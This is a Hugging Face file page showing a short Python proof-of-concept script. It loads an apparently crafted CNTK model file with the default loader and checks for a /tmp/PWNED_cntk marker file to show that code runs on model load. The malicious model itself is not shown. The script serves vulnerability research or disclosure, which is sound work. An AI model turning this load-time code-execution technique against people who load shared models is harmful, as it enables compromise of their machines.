aslein1413's picture
Upload folder using huggingface_hub
9b18c5a verified
Raw
History Blame Contribute Delete
564 Bytes
# Load an untrusted CNTK model the normal way. No safe flag. We do not import any
# attacker module. Watch /tmp/PWNED_cntk appear -> the model executed code on load.
import os, cntk as C
m = "model_inject_linux.cntk"
print("marker before:", os.path.exists("/tmp/PWNED_cntk"))
try:
C.Function.load(m) # default load path
except Exception as e:
print("(loader raised after exec, cosmetic):", type(e).__name__)
print("marker after :", os.path.exists("/tmp/PWNED_cntk"))
if os.path.exists("/tmp/PWNED_cntk"):
print(open("/tmp/PWNED_cntk").read())